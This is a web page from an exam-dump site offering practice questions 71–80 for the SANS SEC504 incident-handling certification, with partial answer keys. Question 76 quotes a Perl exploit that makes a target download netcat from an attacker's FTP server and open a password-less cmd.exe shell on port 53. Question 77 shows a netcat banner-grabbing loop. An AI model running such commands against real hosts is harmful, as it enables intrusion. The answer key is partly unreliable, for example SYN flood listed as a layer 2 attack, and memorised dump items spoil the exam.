Summer Certification Limited Time 70% Discount Offer - Ends in 0d 00h 00m 00s - Coupon code = getmirror

Home
SANS
Certified Incident Handler
SEC504
Hacker Tools, Techniques, Exploits and Incident Handling Questions and Answers

Pass the SANS Certified Incident Handler SEC504 Questions and answers with ExamsMirror

Practice at least 50% of the questions to maximize your chances of passing.

Exam SEC504 Premium Access

View all detail and faqs for the SEC504 exam

Go to Exam

794 Students Passed

94% Average Score

92% Same Questions

Viewing page 8 out of 10 pages

Viewing questions 71-80 out of questions

Questions # 71:

Adam works as a Security administrator for Umbrella Inc. He runs the following traceroute and notices that hops 19 and 20 both show the same IP address.

1 172.16.1.254 (172.16.1.254) 0.724 ms 3.285 ms 0.613 ms 2 ip68-98-176-1.nv.nv.cox.net

(68.98.176.1) 12.169 ms 14.958 ms 13.416 ms 3 ip68-98-176-1.nv.nv.cox.net

(68.98.176.1) 13.948 ms ip68-100-0-1.nv.nv. cox.net (68.100.0.1) 16.743 ms 16.207 ms 4 ip68-100-0-137.nv.nv.cox.net (68.100.0.137) 17.324 ms 13.933 ms 20.938 ms 5 68.1.1.4

(68.1.1.4) 12.439 ms 220.166 ms 204.170 ms

6 so-6-0-0.gar2.wdc1.Level3.net (67.29.170.1) 16.177 ms 25.943 ms 14.104 ms 7

unknown.Level3.net (209.247.9.173) 14.227 ms 17.553 ms 15.415 ms "PassGuide" - 8 so-0-1-0.bbr1.NewYork1.level3.net (64.159.1.41) 17.063 ms 20.960 ms 19.512 ms 9 so-7-0-0.gar1. NewYork1.Level3.net (64.159.1.182) 20.334 ms 19.440 ms 17.938 ms 10 so-4-0-0.edge1.NewYork1.Level3.

net (209.244.17.74) 27.526 ms 18.317 ms 21.202 ms 11 uunet-level3- oc48.NewYork1.Level3.net

(209.244.160.12) 21.411 ms 19.133 ms 18.830 ms 12 0.so-6-0-0.XL1.NYC4.ALTER.NET (152.63.21.78)

21.203 ms 22.670 ms 20.111 ms 13 0.so-2-0-0.TL1.NYC8.ALTER.NET (152.63.0.153) 30.929 ms 24.858 ms

23.108 ms 14 0.so-4-1-0.TL1.ATL5.ALTER.NET (152.63.10.129) 37.894 ms 33.244 ms

33.910 ms 15 0.so-7-0-0.XL1.MIA4.ALTER.NET (152.63.86.189) 51.165 ms 49.935 ms

49.466 ms 16 0.so-3-0-0.XR1.MIA4.ALTER.

NET (152.63.101.41) 50.937 ms 49.005 ms 51.055 ms 17 117.ATM6- 0.GW5.MIA1.ALTER.NET (152.63.82.73) 51.897 ms 50.280 ms 53.647 ms 18 PassGuidegw1. customer.alter.net (65.195.239.14) 51.921 ms 51.571 ms 56.855 ms 19 www.PassGuide.com (65.195.239.22) 52.191 ms 52.571 ms 56.855 ms 20 www.PassGuide.com (65.195.239.22) 53.561 ms 54.121 ms 58.333 ms

Which of the following is the most like cause of this issue?

Options:

An application firewall

Intrusion Detection System

Network Intrusion system

A stateful inspection firewall

Answer

Questions # 72:

Which of the following is the best method of accurately identifying the services running on a victim host?

Options:

Use of the manual method of telnet to each of the open ports.

Use of a port scanner to scan each port to confirm the services running.

Use of hit and trial method to guess the services and ports of the victim host.

Use of a vulnerability scanner to try to probe each port to verify which service is running.

Answer

Questions # 73:

Which of the following tools can be used for stress testing of a Web server?

Each correct answer represents a complete solution. Choose two.

Options:

Internet bots

Scripts

Anti-virus software

Spyware

Answer

A, B

Questions # 74:

Which of the following attacks come under the category of layer 2 Denial-of-Service attacks?

Each correct answer represents a complete solution. Choose all that apply.

Options:

Spoofing attack

SYN flood attack

Password cracking

RF jamming attack

Answer

A, B

Questions # 75:

Which of the following statements are true about a keylogger?

Each correct answer represents a complete solution. Choose all that apply.

Options:

It records all keystrokes on the victim's computer in a predefined log file.

It can be remotely installed on a computer system.

It is a software tool used to trace all or specific activities of a user on a computer.

It uses hidden code to destroy or scramble data on the hard disk.

Answer

A, B, C

Questions # 76:

Adam, a malicious hacker performs an exploit, which is given below:

#####################################################

$port = 53;

# Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

#####################################################

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host –C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

Options:

Creates a share called "sasfile" on the target system

Creates an FTP server with write permissions enabled

Opens up a SMTP server that requires no username or password

Opens up a telnet listener that requires no username or password

Answer

Questions # 77:

You run the following bash script in Linux:

for i in 'cat hostlist.txt' ;do

nc -q 2 -v $i 80 < request.txt done

Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file. Which of the following tasks do you want to perform by running this script?

Options:

You want to put nmap in the listen mode to the hosts given in the IP address list.

You want to perform banner grabbing to the hosts given in the IP address list.

You want to perform port scanning to the hosts given in the IP address list.

You want to transfer file hostlist.txt to the hosts given in the IP address list.

Answer

Questions # 78:

Adam works as a Senior Programmer for Umbrella Inc. A project has been assigned to him to write a short program to gather user input for a Web application. He wants to keep his program neat and simple. His chooses to use printf(str) where he should have ideally used printf("%s", str).

What attack will his program expose the Web application to?

Options:

Format string attack

Cross Site Scripting attack

SQL injection attack

Sequence++ attack

Answer

Questions # 79:

Which of the following statements are true about session hijacking?

Each correct answer represents a complete solution. Choose all that apply.

Options:

Use of a long random number or string as the session key reduces session hijacking.

It is used to slow the working of victim's network resources.

TCP session hijacking is when a hacker takes over a TCP session between two machines.

It is the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system.

Answer

A, C, D

Questions # 80:

Buffer overflows are one of the major errors used for exploitation on the Internet today. A buffer overflow occurs when a particular operation/function writes more data into a variable than the variable was designed to hold.

Which of the following are the two popular types of buffer overflows?

Each correct answer represents a complete solution. Choose two.